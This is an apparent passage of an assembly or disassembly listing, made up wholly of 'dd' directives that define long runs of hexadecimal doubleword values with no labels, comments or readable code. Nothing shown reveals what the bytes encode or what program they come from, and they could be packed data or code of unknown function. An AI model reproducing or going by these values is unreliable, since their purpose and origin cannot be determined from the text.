		dd 0FF827837h, 0C7FF84C5h, 50014821h, 55128FFh,	12021400h
		dd 30409h, 2891239h, 55D2FF4Ah,	21FF0005h, 10005B1h, 0BA6615h
		dd 393C0601h, 0ABC421FFh, 2600BA5Ch, 0A0024AEh,	28FF8909h
		dd 0FF080035h, 0C4FF3508h, 3A11004Dh, 57D28FFh,	12021400h
		dd 92070C5Fh, 782D8CFFh, 28FF3A11h, 14000569h, 8FF1202h
		dd 827837A6h, 0B711FF15h, 340084h, 28FF3A11h, 0A43311Dh
		dd 92090214h, 3A110204h, 0BA0928FFh, 9021400h, 28FF3AE6h
		dd 1400BA31h, 201202h, 3A110000h, 313D28FFh, 2140A43h
		dd 8B7FFF12h, 7D289FFh,	26000500h, 1F0005h, 1FF0601h, 74692BAFh
		dd 764C0005h, 500h, 57138FFh, 0FF500100h, 0BA2928h, 40120214h
		dd 34000304h, 0FF140400h, 412229h, 29FF1404h, 5004122h
		dd 0FF060100h, 0FF003A03h, 47D4C4h, 28FF3A11h, 0B4FFE9h
		dd 47120214h, 0FF38C5FFh, 0C4FF019Eh, 110047F7h, 9128FF3Ah
		dd 140A4331h, 3AE60902h, 319D28FFh, 2140A43h, 0C038412h
		dd 2CD42207h, 3A1102FAh, 318528FFh, 2140A43h, 0C038412h
		dd 3D23FF07h, 44C4FFh, 28FF5001h, 0A4331B1h, 0E6090214h
		dd 0A128FF3Ah, 140A4331h, 15921202h, 0B4FF12h, 3048200h
		dd 0C5FF0304h, 38FF005Ch, 3A110027h, 54128FFh, 63021400h
		dd 0FF000304h, 0FF14EA31h, 0FF023D29h, 7D289h, 26D231FFh
		dd 4938FFD0h, 0B520005h, 20D0100h, 19D289FFh, 3700001Ch
		dd 7D28DFFh, 0D289FF02h, 1202601h, 68152B82h, 28FF0005h
		dd 0D289FF2Ch, 0A666FF19h, 23FF3F03h, 0C6FFDAA6h, 724A0227h
		dd 6010005h, 69FF0E18h,	70C5FFB4h, 8EC4FF00h, 0D289FF02h
		dd 3043819h, 0A623FF3Fh, 27C6FFDAh, 5724A02h, 18060100h
		dd 0FFB129FFh, 60100B4h, 382BFFh, 0FF62C6FFh, 400A631h
		dd 4A020D03h, 722E4761h, 6010005h, 0D289FF02h, 18D02601h
		dd 0B5C1FF00h, 0DB180711h, 26009B15h, 4010005h,	0A431FF14h
		dd 1885C4FFh, 0D289FF3Bh, 4138FF01h, 31FF0005h,	7DB426D2h
		dd 0FF060100h, 0C4FFDB43h, 50014814h, 7DE928FFh, 63021400h
		dd 0FF000304h, 0FF14EA31h, 0FF023D29h, 7D28Dh, 26D231FFh
		dd 4938FFD0h, 0FF990005h, 1F4729h, 2060100h, 1D28DFFh
		dd 82012026h, 568152Bh,	8E2B2A00h, 14000568h, 362229FFh
		dd 0D030400h, 47619402h, 5722Eh, 0FF180601h, 7DB6D1h, 0F90601h
		dd 44C4FFh, 688E2B01h, 0B4260005h, 601007Dh, 0FF005697h
		dd 11F013C4h, 0B528FF3Ah, 140A4331h, 3046302h, 0D231FF00h
		dd 12FFAE26h, 4CD24784h, 2A2BFFh, 4C5FF82h, 0A64A1200h
		dd 0FF037F15h, 21797C5h, 0B514000Bh, 254A0291h,	4A0291B5h
		dd 0B5141C9Fh, 254A0291h, 4A0291B5h, 0B5141C9Fh, 254A0291h
		dd 4A0291B5h, 0B5141C9Fh, 254A0291h, 4A0291B5h,	6011C9Fh
		dd 0C1301BAh, 206CC07h,	0FFF7074Ah, 1301C8CEh, 0FF26070Ch
		dd 1301C8CEh, 66150304h, 601007Dh, 0FF3CC4FFh, 150337C6h
		dd 6B569FFh, 0C4FF00C1h, 3A1102B5h, 311528FFh, 2140A43h
		dd 0E1C5FF63h, 4A2D8AFFh, 11C19h, 83FF070Ch, 0E82EA18Ah
		dd 0FF010000h, 1AC510h,	14341C00h, 0D5E2B00h, 1FA64A02h
		dd 4A022C00h, 1F1D1FA6h, 2392B1Dh, 70CA64Ah, 14A3818h
		dd 74D938FFh, 70C0005h,	14A3818h, 522138FFh, 2B010005h
		dd 194A0244h, 0C4FF0176h, 214F0172h, 0FF000176h, 0FF54A623h
		dd 940227C6h, 0FF94021Ch, 0C5FFECD2h, 2420627h,	17FA0711h
		dd 0FF3A1100h, 43313528h, 902140Ah, 28FF3AE6h, 14007D21h
		dd 8FF1202h, 5D745h, 176FA00h, 0FF203806h, 3756C439h, 28FF3A11h
		dd 0A43FAF1h, 0FF120214h, 0E88A60Bh, 0C07D926h,	3A110017h
		dd 0FAF928FFh, 2140A43h, 0FF3AE609h, 43FAE528h,	1202140Ah
		dd 62070C5Fh, 4A1301h, 28FF3A11h, 0A43FAEDh, 0E6090214h
		dd 9928FF3Ah, 140A4331h, 0C5F1202h, 1301F907h, 11001A66h
		dd 8928FF3Ah, 140A4331h, 1F101202h, 54A0Bh, 14A022Ch, 0B169FF18h
		dd 10071102h, 82D22FFh,	0B169FF21h, 0FF4E4A00h,	1DAB80h
		dd 28FF3A11h, 0A4331BDh, 5F120214h, 80FF070Ch, 1D2CE6h
		dd 28FF3A11h, 0A4331A5h, 84090214h, 0FF3A1102h,	55128h
		dd 4630214h, 31FF0003h,	0FFAE26D2h, 94028832h, 0AE2AFF61h
		dd 20D011Ch, 2BFF4E4Ah,	20D01E1h, 0E0BC254Ah, 4A4DCFFh
		dd 0E0BC4A02h, 0DCFF20BEh, 4A0204A4h, 20BEE0BCh, 7411FFBEh
		dd 254A020Dh, 0EA4A0265h, 0BD0C4FFh, 2045400h, 0FFE0BC4Ah
		dd 204A4DCh, 0BEE0BC4Ah, 0A4DCFF20h, 0BC4A0204h, 0BE20BEE0h
		dd 0D7411FFh, 79194A02h, 0AF940289h, 99F42E47h,	89B109FFh
		dd 47AF9402h, 0FF99F42Eh, 289B119h, 2E47AF94h, 1FF99F4h
		dd 940289B1h, 0F42E47AFh, 0B111FF99h, 0AF940289h, 99F42E47h
		dd 2890958h, 2E47AF94h,	0DDFF99F4h, 0FF1844B6h,	14AB6C1h
		dd 0B6C5FF18h, 2FB119FFh, 0FF180194h, 124B101h,	152A2A2Ah
		dd 711020Eh, 2183FFh, 1102047Ah, 4331D83Ah, 1202140Ah
		dd 3044AFFh, 0AE31FF00h, 7EC6FF1Dh, 0BBD1FF15h,	26D231FFh
		dd 8B82FFAEh, 45F0902h,	85FF1503h, 5C2h, 0D231FFC0h, 57FFAE26h
		dd 0A2D8BFFh, 3045F09h,	0FF925815h, 3CD42D8Fh, 0A6C1FF1Eh
		dd 56090F08h, 12020304h, 0E0E034Bh, 2E0AFF51h, 2D070C00h
		dd 0C5FF2300h, 2D8CFFC5h, 3806010Fh, 6010067h, 0CEFF92FFh
		dd 1708019Ah, 11C1916h,	16020400h, 1D003671h, 222C6FFh
		dd 16025A16h, 0C2AE361h, 2005807h, 0FF870711h, 70C2D8Ch
		dd 3102FFh, 3806010Fh, 0CEFF0067h, 1708019Ah, 0FF542516h
		dd 2A015BC4h, 2C6CC5FFh, 0C1FF3733h, 0E0000C1h,	0AB6120Fh
		dd 49C4FFh, 5030D14h, 8CFFEE00h, 0FF00032Dh, 503713C4h
		dd 0FF000B03h, 3D01D339h, 0DDFF000Bh, 39FF0306h, 232A01D3h
		dd 87FF070Ch, 4721FF82h, 11020B1Fh, 0D540FF07h,	6170801h
		dd 6B281FFh, 8014145h, 0B0450817h, 0CEFF4C09h, 3F001A9Ah
		dd 0C6FF1D12h, 2038C24h, 11020711h, 7110207h, 0F700054Ah
		dd 82D8DFFh, 0AB6120Fh,	56C4FFh, 0A90711h, 70C0176h, 2D8DFFEEh
		dd 21080148h, 176h, 6010005h, 28ED0FFh,	2601563h, 0CFFF0711h
		dd 0A2D8EFFh, 2AFF8409h, 0E03201EAh, 0FFA4DCFFh, 673B90C4h
		dd 0FF060100h, 2D8EFF9Fh, 22FF090Ah, 0FF1102EAh, 3DFA9AD2h
		dd 6010067h, 90A13CCh, 94C520FFh, 11020D01h, 12159761h
		dd 6010067h, 2D8EFF15h,	20FF090Ah, 1CB26C5h, 6111020Dh
		dd 674562FFh, 0FF060100h, 0C5FF8E69h, 0D01B913h, 50611102h
		dd 676615h, 13420601h, 20FF090Ah
		dd 1D249C5h, 6111020Dh,	0C4FF0AB6h, 1C11006Dh, 1000500h
		dd 8FC5FF06h, 60156302h, 0C1071102h, 84090A00h,	1E8DFFFh
		dd 0DCFFE032h, 90C4FFA4h, 100673Bh, 0A00AC06h, 0EA22FF09h
		dd 0D2FF1102h, 673DFA9Ah, 0D2060100h, 0A2D8FFFh, 0C520FF09h
		dd 11BABFFh, 6111020Dh,	67121597h, 0AA060100h, 0FF090A00h
		dd 190C520h, 6111020Dh,	674562FFh, 0FF060100h, 9028F02h
		dd 0D1C520FFh, 11020D01h, 66155061h, 6010067h, 2D8FFF34h
		dd 20FF090Ah, 1B909C5h,	6111020Dh, 0C4FF0AB6h, 0B06h, 240601h
		dd 65E6090Ah, 32E91102h, 6700C40Ah, 7C060100h, 0A2D8CFFh
		dd 265E609h, 0A322311h,	0FEC4FFh, 6010067h, 2D8CFF3Bh
		dd 65E6090Ah, 0D2FF1102h, 0FF0A325Ah, 5068AC4h,	76060100h
		dd 5F090A00h, 65110204h, 32EA1102h, 53C6FF0Ah, 100B4FFh
		dd 8CFF3206h, 5F090A2Dh, 65110204h, 0D2FF1102h,	0FF0A325Fh
		dd 6778C6h, 0FF470601h,	90A2D8Ch, 1102045Fh, 0FF110265h
		dd 0A325BD2h, 301C6FFh,	9FFF0067h, 4170801h, 13C4FF03h
		dd 0C5FF2529h, 4D1E2C44h, 1278E85h, 15000313h, 2E0AFFh
		dd 0FF1D9600h, 0B69C6h,	0FFF60603h, 0E19D286h, 4DC5FF64h
		dd 15231301h, 0DD00677Ch, 1E190033h, 1E8CC1FFh,	0E090E4Dh
		dd 0FF780000h, 0C7FF4521h, 0C6FF136Ch, 0C7FF5C3Ch, 2808136Ch
		dd 200920h, 0F201500h, 5, 0E1038C57h, 0AE21FF0Ah, 0C5C5FF00h
		dd 2D19FF93h, 0A4D1FF09h, 808F0AE1h, 0C4FF5C42h, 300906Ch
		dd 159DD2FFh, 6CC7FF5Ch, 8030413h, 39125859h, 58808F0Ah
		dd 50Fh, 86CC4FFh, 0FF2D18FFh, 0F136CC7h, 4000005h, 2070C51h
		dd 0C0030711h, 362221FFh, 0FFD528FFh, 0FF1202CAh, 0CAFF450Ah
		dd 52C5FFh, 0FF15CAFFh,	2BFF8D39h, 50F2Dh, 0FF000000h
		dd 5C285h, 0C285FF15h, 6010005h, 0BA56FFh, 85FF070Ch, 5C2h
		dd 0A0528FFh, 4538FF12h, 26CDCFFh, 0BA380711h, 58070C00h
		dd 0FF00BA32h, 601D3D1h, 2071102h, 11020711h, 4A0007h
		dd 782808h, 528FF00h, 3BFF120Ah, 0FF153E45h, 0D8B229h
		dd 1EC11FFh, 0DCFFE032h, 5C2108A4h, 29D2FF11h, 0C520FF97h
		dd 0B4FF4FFFh, 86000BA7h, 9C89FF07h, 0FF155609h, 167CB2D1h
		dd 0FFABFF07h, 1CB00B4h, 0FF2D10FFh, 22EC520h, 2E476116h
		dd 0FF16021Ch, 0C5FFECD2h, 16020D27h, 0D01BA4Eh, 0D2FF1102h
		dd 0FF1602EAh, 67D5D2h,	1D3501h, 67F41602h, 0D9FF0100h
		dd 0FF16022Ch, 67DDD2h,	60010001h, 0C7409FFh, 0FFDED2FFh
		dd 0FF07A086h, 2F211D38h, 28D2FF16h, 21085609h,	1D0C5FFh
		dd 792E470Bh, 0C5FF051Fh, 0FF1F0051h, 0C5FF0577h, 2108005Dh
		dd 81C1687h, 0FF0A0824h, 0A362200h, 0CEFF1806h,	180116F1h
		dd 2AA61631h, 2A9901Fh,	31900716h, 0C5FF0067h, 0A2017BFh
		dd 2015F812h, 7F00777Fh, 1E2BFFh, 0ABD28FFh, 4531FF12h
		dd 5F1CEFFh, 35000000h,	3D000005h, 36CF6FFh, 63D007Dh
		dd 3D00A83Ch, 298EFF06h, 0FF063D00h, 1AB229h, 0C5FF3E03h
		dd 3CA3FAF4h, 23234D1Eh, 179AC5FFh, 136CC7FFh, 3, 5, 6CC7FF5Ch
		dd 171DC5FFh, 5, 0FF000005h, 0B1F6CC7h,	0FF130113h, 19001DC6h
		dd 0B138FF29h, 0ADD1FF28h, 30434h, 15DC4FFh, 0B2DC1E33h
		dd 1000E09h, 0BA30FF06h, 0DA421FFh, 592303h, 7640F03h
		dd 1764h, 0C1FF0601h, 63E02BBh,	2BB83FFh, 18FF063Eh, 80184A9h
		dd 0EDC0417h, 1000E09h,	3E17A506h, 2909290Ch, 9521FF09h
		dd 63E0250h, 10C3E02h, 0B5DDFF06h, 39FF1520h, 0C2D1FFAFh
		dd 480601h, 0ED063E02h,	0FF070CC0h, 102A918h, 0DC041708h
		dd 0B0EC012h, 47C4FF00h, 0B1590000h, 6030400h, 0F8D31FFh
		dd 0A4FB0601h, 3A421FFh, 603000Bh, 1000548h, 0B886FF06h
		dd 3A421FFh, 603000Bh, 6C8DFF38h, 0A2063E02h, 0A421FFA4h
		dd 2580603h, 0A3063Eh, 5908030Dh, 3040067h, 0B03000Bh
		dd 8D11FF00h, 0FF06010Fh, 290CB81Bh, 0FF092909h, 3509521h
		dd 0CD07640Fh, 0B1590017h, 0B030400h, 3E025E00h, 15606806h
		dd 0FAF39FFh, 530601h, 0AB063E02h, 63E0206h, 2DA918FFh
		dd 4170801h, 0B9C5FFDCh, 23A421FFh, 3E020015h, 20C02706h
		dd 0AF39FF15h, 1C2D1FFh, 0C60F606h, 0B908FF07h,	18FF070Ch
		dd 4177FA9h, 8DFF154Dh,	0C538FF6Ch, 3000574h, 5B04h, 15005401h
		dd 6C8DFF15h, 11F0000h,	26ED38FFh, 15000005h, 0F2D32FFh
		dd 39138FFh, 9EC5FF23h,	2B370013h, 5CC1FFh, 0C1FF2B37h
		dd 0FF8A095Ch, 0F099538h, 3C8938FFh, 0E4D1Eh, 8C574508h
		dd 3034003h, 38FF093Fh,	441F47h, 12FF0B0Eh, 22D1FFA6h
		dd 0D3EC0036h, 0FF2D01FFh, 931F4738h, 138AC5FFh, 560B0E10h
		dd 577FF1Fh, 13BFC5FFh,	0C0B0E10h, 0FF121551h, 0FF036C8Ch
		dd 304BBC7h, 8CFF8E15h,	2C11506Ch, 20FF43FFh, 2600052Dh
		dd 2C021AEh, 0AA4C09h, 0AE260005h, 2BB8FFFh, 625E4C09h
		dd 0AE260005h, 6E02C0D6h, 304h,	21FF1404h, 0B143622h, 75156E0Fh
		dd 36C8CFFh, 60C5FFh, 3046E0Ah,	50000h,	6E002026h, 0B0E2808h
		dd 0FFDB5C00h, 45FAE39h, 39FF0003h, 78494CAEh, 39FF1404h
		dd 4C003622h, 0FF8278D2h, 1004BAC5h, 0C230BFDh,	1599D207h
		dd 716027Fh, 0FF08996Dh, 1C11C088h, 56FF070Ch, 1028999h
		dd 0D239FF79h, 16003926h, 16024171h, 0FF160207h, 0C5FFECD2h
		dd 16020425h, 0FFECD2FFh, 2043DC5h, 0ECD2FF16h,	1535C5FFh
		dd 1000506h, 82172006h,	70C0304h, 70C2303h, 1EE57FFh, 5001708h
		dd 0FF852600h, 260CECEh, 453BFF12h, 36C8CFFh, 0B21AC5FFh
		dd 13FF0902h, 4533FFAEh, 5D7h, 96C8CFFh, 8016285h, 50F17h
		dd 0D410FF00h, 170801h,	85260005h, 26054FFh, 4538FF12h
		dd 36C8DFFh, 90A0E2Bh, 0FFA63AFFh, 0C6236D21h, 0C5FF2C0Fh
		dd 50027h, 1AFFAE26h, 0FF6E02B9h, 320175C5h, 0A4DCFFE0h
		dd 19FF2108h, 29FF01D0h, 53C5FF5Eh, 0FF630201h,	290280C5h
		dd 8AFF0A07h, 56092CD2h, 0B2D1FF15h, 0FF072926h, 0C5FFA28Fh
		dd 19FFFC2h, 0FF2D10FFh, 0CEFFC520h, 19FFFCEh, 610F020Dh
		dd 21C2E47h, 0ECD2FF0Fh, 0D27C5FFh, 414E2902h, 16D281FFh
		dd 2EAD2FFh, 0D5D2FF29h, 9B010067h, 0F4290200h,	0FF010067h
		dd 29022CD9h, 67DDD2FFh, 1000100h, 7409FF60h, 0DED2FF0Ch
		dd 7A086FFh, 211D38FFh,	1D18DFFh, 85828FFh, 0D189FF21h
		dd 2E470B01h, 0FF051F79h, 1F13B5C5h, 0FF0577FFh, 813A1C5h
		dd 22FF7F21h, 0AE02FFB9h, 7D18060Ah, 0A91F2A01h, 0D019FF18h
		dd 0A9901F01h, 90072902h, 1006731h, 0A386FF06h,	0FFC619FFh
		dd 0F6FF4500h, 716026Ch, 70CAB74h, 5E0409FFh, 12CC5FFh
		dd 7160213h, 2DB229FFh,	553392Ch, 9004400h, 0FF001F56h
		dd 0E1964C5h, 36C8DFFh,	0A512C5FFh, 58760902h, 1FF8509h
		dd 7B0902BFh, 0FD000304h, 0A622FF00h, 88610F0Eh, 152A010Eh
		dd 6C8DFF7Ch, 0F72C2D40h, 6C8DFF0Eh, 0E0C5FF03h, 1F6E0299h
		dd 70C03B1h, 12717B2h, 0C935806h, 89FF070Ch, 582C0F8Dh
		dd 0BA697Fh, 1272619h, 0DC39FF06h, 1020601h, 40120213h
		dd 2AB070Ch, 0A038FF12h, 57D07h, 70C562Ch, 0FFCC9D58h
		dd 27023EC6h, 57D0601h,	88FF2C00h, 5002Ah
		dd 0D9FFAE26h, 200902BDh, 1399C5FFh, 5F0A2h, 0C2AE26h
		dd 3046E0Ah, 5F000h, 0F7FF8526h, 22020DA1h, 38210801h
		dd 0F0000122h, 14012200h, 1905806h, 1221708h, 1220206h
		dd 13000614h, 9020A41h,	2BD8FF4Ch, 1220000h, 17425806h
		dd 26000500h, 0BD0BFFAEh, 47E0902h, 2BFF0003h, 0FF00052Dh
		dd 902BD28h, 0FF3E0EFDh, 0D6139EC5h, 52D2BFFh, 14AE2600h
		dd 46E02ABh, 36390003h,	90A0B14h, 400774Ch, 0F082014h
		dd 1403046Eh, 14140306h, 0F1CEFF06h, 69FF004Bh,	0D769FFD7h
		dd 135E0639h, 2A012202h, 6140304h, 2233FFh, 3390003h, 0FF0C0C04h
		dd 49DDC5h, 0C04036Fh, 390E6D3Dh, 0A0B1436h, 7A070C63h
		dd 36C8DFFh, 9FFF0614h,	19D28DFFh, 1C190F14h, 2040001h
		dd 36710Fh, 22C6FF1Dh, 25A0F02h, 2AE3610Fh, 58150304h
		dd 70F0200h, 70C0046h, 11FFD85Dh, 7A0601D5h, 6C8DFFh, 0F025E19h
		dd 5AC4FF54h, 0C0C4FF01h, 39FF0037h, 0A631FFAEh, 0FF233E78h
		dd 2AB0AC5h, 37214C09h,	21FF1404h, 39FF106Dh, 0FF1404A4h
		dd 39106D21h, 26000562h, 0A0DFFFAEh, 145E0902h,	362221FFh
		dd 126E600h, 2EAD2FFh, 4006A01h, 1020D03h, 8DFF1C19h, 0C5FF036Ch
		dd 90A1389h, 3F030440h,	126E609h, 2EAD2FFh, 4006A01h, 1020D03h
		dd 2EAD2FFh, 1AC47901h,	6E6A0100h, 4140304h, 0A439FF10h
		dd 21FF1404h, 0FF39106Dh, 1C0F1988h, 1D519FFh, 0F020D14h
		dd 4F2525h, 1D519FFh, 45822FFh,	4F250F02h, 3BE9C5FFh, 0D501FF00h
		dd 0F020401h, 0C044F25h, 0FF090F3Fh, 4F25A63Ah,	0E810C04h
		dd 250F0204h, 5AC5FF4Fh, 0F024400h, 0C044F25h, 44090F3Fh
		dd 0FD100401h, 0FF0E6D44h, 401D519h, 3D0C3910h,	0C4FF0E6Dh
		dd 3E720108h, 6EC5FF2Ah, 4B090A00h, 1FA60103h, 30C5FF00h
		dd 304003Bh, 1C190102h,	28080044h, 1D971A3Dh, 5C52C6FFh
		dd 19036A01h, 0FF3D0304h, 15C72C6h, 0D0FF036Ah,	10204AEh
		dd 0D3FF036Ah, 10204AEh, 2E19036Ah, 6A015C79h, 0EBD2FF03h
		dd 3D2869FFh, 30D9B08h,	154FF4Ch, 0F001C19h, 20D581Ch
		dd 0AF190Fh, 4F250Fh, 6A015C00h, 49250F03h, 21080952h
		dd 581C0112h, 0A609FF12h, 0FFC84F25h, 1E5800E7h, 0FF497504h
		dd 88FFADD1h, 1000159h,	42391004h, 3D4F250Fh, 4F250F42h
		dd 10040100h, 5AE39FFh,	43E7201h, 0B5C5FF03h, 0EC090A13h
		dd 6030603h, 1017A03h, 1012618h, 17172009h, 205C0800h
		dd 0D509FFB0h, 26000001h, 0A711FF85h, 21FF0902h, 790F02EBh
		dd 58150360h, 0A411399h, 24B1202h, 452790Fh, 0E4C5FF03h
		dd 93D20002h, 0C5FF0304h, 0FD100495h, 32C69FFh,	4A8526h
		dd 0BFDh, 6FDCFF13h, 0FF0304A4h, 2E3C5h, 51D2FF0Fh, 0D509FF81h
		dd 2410B01h, 603A70Fh, 7A030603h, 26180101h, 20090101h
		dd 8013C21h, 94DC1E17h,	35120000h, 35020601h, 3E020601h
		dd 190E0906h, 186C8DFFh, 0FF0135CBh, 0A0034C5h,	28FF8909h
		dd 0FF0800A1h, 2108A108h, 13559h, 135CBh, 5001Dh, 0F4C5FF01h
		dd 120A003Bh, 0FF1215EDh, 0CB186C8Dh, 0C5FF0135h, 0A003BEEh
		dd 1721086Eh, 46210863h, 35000001h, 46E3F01h, 3F013502h
		dd 22210FFh, 14361700h,	463021Dh, 14013502h, 0D87A0614h
		dd 35020463h, 2061401h,	14140135h, 2137F06h, 42A0135h
		dd 14013502h, 25C1FF06h, 2A013502h, 1350204h, 0CEFF0614h
		dd 3502F0FFh, 35021A01h, 0B663D01h, 0A020FF1Fh,	1350207h
		dd 353D1806h, 0C5FF2A01h, 517ABh, 4C5FF01h, 8630A00h, 14188FFh
		dd 1358E00h, 35020D14h,	35020401h, 11FF0801h, 20400A8h
		dd 0D2FF0135h, 0F6FF0219h, 33FF1D6Ch, 1358E2Dh,	219D2FFh
		dd 26CF6FFh, 6140135h, 0B39087FFh, 1A631FFh, 53C5FF9Ah
		dd 2CD1FF00h, 1350204h,	219D2FFh, 0FF6CF6FFh, 2D30FF4Fh
		dd 2AFF6101h, 10003EAh,	0B0100h, 14013502h, 135020Dh, 357C214Fh
		dd 2003D01h, 1A013500h,	3F013502h, 0B013909h, 3D013500h
		dd 0FF2889FFh, 11C0156h, 1355900h, 135021Ah, 490C04h, 26A2501h
		dd 0C040135h, 1350049h,	1350204h, 135021Ah, 0C6FF1D3Fh
		dd 3D01D428h, 1002745h,	2060100h, 2 dup(2060135h), 0C8090701h
		dd 17083E32h, 30E4D04h,	9020304h, 3AC6FF1Dh, 0DBFF0F09h
		dd 0F0929BCh, 1D189FFh,	1E33FB13h, 38C004Dh, 0FF7F8800h
		dd 5745C9C6h, 9714038Ch, 10CC3DE6h, 0A5D1FFh, 0C5FF5B1Eh
		dd 28080044h, 972FD9FFh, 0C4FF0AB6h, 1F000049h,	463020Bh
		dd 3039C03h, 4247F3Fh, 0FF10CF10h, 0C4FFA5D1h, 0D000B37h
		dd 3034003h, 40F7F3Fh, 0FF10CF10h, 304A7D1h, 4C61383Bh
		dd 38C00D7h, 3034014h, 4247F3Fh, 0FF10CF10h, 0C4FFA5D1h
		dd 30F0387h, 3F03D197h,	10040F7Fh, 0D1FF10CFh, 3B0304A7h
		dd 0FF1D6138h, 38C5DC6h, 3034014h, 4247F3Fh, 0FF10CF10h
		dd 0C6FFA5D1h, 30D0F6Dh, 3F030340h, 0D1FF101Ah,	3B037FA7h
		dd 0FF1D6138h, 0F0321C6h, 1D385FFh, 5B1E0304h, 0B0450800h
		dd 40F1B03h, 0FF10CF10h, 0FF00A7D9h, 1A036DD9h,	8241B03h
		dd 14033B24h, 340030Dh,	0CF100341h, 0A7D9FF10h,	6DD9FF00h
		dd 0F9C0003h, 82D4B41h,	2622FFE3h, 0CF10041Bh, 0A7D9FF10h
		dd 6DD9FF00h, 1B031A03h, 3B240824h, 30D1403h, 3410340h
		dd 0FF10CF10h, 0FF00A7D9h, 41036DD9h, 0F101A03h, 342D4B41h
		dd 0CF10041Bh, 0A7D9FF10h, 6DD9FF00h, 8031A03h,	0CF100424h
		dd 0A7D9FF10h, 6DD9FF00h, 30D1403h, 314C0340h, 0D9FF2511h
		dd 0E4D9FFADh, 0E4D1E3Ch, 57450800h, 340038Ch, 0A7F3F03h
		dd 0C6FF1D12h, 93F03F6h, 0E6C6FF1Dh, 2EC6FF0Ah,	5B1E330Bh
		dd 0FCEFF0Ch, 0E098F37h, 61C5FFh, 6600Ch, 20B928FFh, 0A30E3B1Bh
		dd 0FF1E3C90h, 9047EC1h, 23FF490Eh, 1A522DA8h, 0DC4FF08h
		dd 0FFE3081Bh, 1A00A722h, 0A3C66BFFh, 5B1E3C90h, 8F00670Ch
		dd 0C5FF0E09h, 0C001AE4h, 5C685FFh, 85FF0000h, 130005C6h
		dd 0FF8719FFh, 0DBFFCF87h, 1E3C9072h, 38C004Dh,	0E000340h
		dd 30B0E00h, 20032D13h,	4D4DAFFh, 20100403h, 0B0E106Fh
		dd 32D1303h, 464B0E20h,	1F0E3B03h, 1DCFFF20h, 490304h
		dd 49030B0Eh, 0CA0B0E00h, 4D1E3301h, 40038C00h,	0E0003h
		dd 13030B0Eh, 1DCFFF2Dh, 490304h, 13030B0Eh, 0E20032Dh
		dd 3B03464Bh, 3201F0Eh,	0D4DAFF20h, 10040304h, 0E106F20h
		dd 49030Bh, 1CA0B0Eh, 0C1FF1E33h, 9000545h, 0FF1E190Eh
		dd 545C1h, 1E190E09h, 0E098F4Dh, 0CFFFEF0Ah, 0FF0056FFh
		dd 80387C5h, 0F00DA0Ah,	340030Dh, 10004903h, 49030B0Eh
		dd 0B0E1000h, 0FFC8090Bh, 9C005300h, 0F03030Fh,	3A62AFFh
		dd 490304E9h, 0B0E1000h, 10004903h, 90B0B0Eh, 28FBC8h
		dd 0FF031A03h, 0D1FF9EC6h, 0FF0A08A4h, 1E3CE429h, 0EF9C0E4Dh
		dd 0E090603h, 30D0300h,	30D0F00h, 0D030340h, 45C80903h
		dd 1A030028h, 101A0303h, 49030B0Fh, 0B0E1000h, 0F0304D5h
		dd 3A62AFFh, 0D0304E9h,	0FFC80903h, 9C005022h, 0E10000Fh
		dd 49030Bh, 0FF0B0E10h,	403049Eh, 5DA6C1FFh, 4C12E03h
		dd 0F1D3FF03h, 37D97FFh, 662062B9h, 0DB660820h,	4030E4Dh
		dd 0A0D1FF10h, 340030Eh, 10041403h, 1004030Eh, 403460Eh
		dd 0D240803h
		dd 0B9C0003h, 350030Dh,	0FF970304h, 2009D23Bh, 0FF520F09h
		dd 0C4FF0054h, 92909A9h, 760F098Fh, 6030400h, 0CF000E09h
		dd 0D030403h, 0FF521403h, 4234718h, 32FF0603h, 23170854h
		dd 13A0C5FFh, 8030D03h,	36DC5FFh, 6032009h, 55C4FFh, 884D1E3Ch
		dd 0D24081Ah, 0FF100403h, 8103A021h, 0FF03043Dh, 34847D1h
		dd 970F2808h, 9D21BFFh,	9FFF000Fh, 304005Ch, 8B850906h
		dd 0AE21FF5Eh, 60317ABh, 5C5C00h, 200A0E1Fh, 0FF060A08h
		dd 880018C5h, 9FC5FF39h, 0E092013h, 4729FF00h, 1DC5FF23h
		dd 574D0417h, 33DC6FFh,	40DA0A08h, 0FF040303h, 1004AC29h
		dd 4030B0Eh, 0AC29FFh, 30B050Eh, 0AC29FF04h, 1D050E00h
		dd 0FF040304h, 0E00AC29h, 0C6FF1A05h, 0C1FF08AFh, 0FF0C237Dh
		dd 2D23FF4Fh, 4030304h,	1404DA14h, 30D030Eh, 0DAFF035Dh
		dd 0FF105DFCh, 1A1B26DDh, 0FB1F0C03h, 241B030Dh, 0FFDE1004h
		dd 0D1B34C4h, 4031A03h,	0FF100403h, 5D55DAD1h, 26D9FF10h
		dd 0C031A1Bh, 403042Eh,	0C4FFEB10h, 0D1B3439h, 4031A03h
		dd 0FF100403h, 5D55DADDh, 1A1B0F10h, 4420C03h, 0DF100403h
		dd 3422C4FFh, 1A030D1Bh, 4030403h, 0DAD9FF10h, 0FF105D55h
		dd 1A1B26D1h, 1B210C03h, 241B030Dh, 0FF0F1004h,	1B3427C4h
		dd 31A030Dh, 10040304h,	105D550Fh, 1B26DDFFh, 7A0C031Ah
		dd 1BA4D8FFh, 0DE100424h, 1B34C4FFh, 31A030Dh, 10040304h
		dd 55DAD1FFh, 0D9FF105Dh, 31A1B26h, 398D60Ch, 1004241Bh
		dd 39C4FFEBh, 30D1B34h,	304031Ah, 0DDFF1004h, 105D55DAh
		dd 31A1B0Fh, 304440Ch, 0FFDF1004h, 1B3422C4h, 31A030Dh
		dd 10040304h, 55DAD9FFh, 0D1FF105Dh, 31A1B26h, 0D06BFF0Ch
		dd 4241B03h, 0C4FF0F10h, 0D1B3427h, 4031A03h, 0F100403h
		dd 0FF105D55h, 1A1B26DDh, 0FF3D0C03h, 1B030D44h, 0DE100424h
		dd 1B34C4FFh, 31A030Dh,	10040304h, 55DAD1FFh, 0D9FF105Dh
		dd 31A1B26h, 0A669FF0Ch, 2639FF88h, 1A030D1Bh, 4030403h
		dd 0DADDFF10h, 0F105D55h, 0C031A1Bh, 1B030D01h,	0DF100424h
		dd 3422C4FFh, 1A030D1Bh, 4030403h, 0DAD9FF10h, 0FF105D55h
		dd 1A1B26D1h, 0D760C03h, 4241B03h, 0C4FF0F10h, 0D1B3427h
		dd 4031A03h, 0F100403h,	0FF105D55h, 1A1B26DDh, 47F0C03h
		dd 0DE100403h, 1B34C4FFh, 31A030Dh, 10040304h, 55DAD1FFh
		dd 0D9FF105Dh, 31A1B26h, 30D7D0Ch, 1004241Bh, 39C4FFEBh
		dd 30D1B34h, 304031Ah, 0DDFF1004h, 105D55DAh, 31A1B0Fh
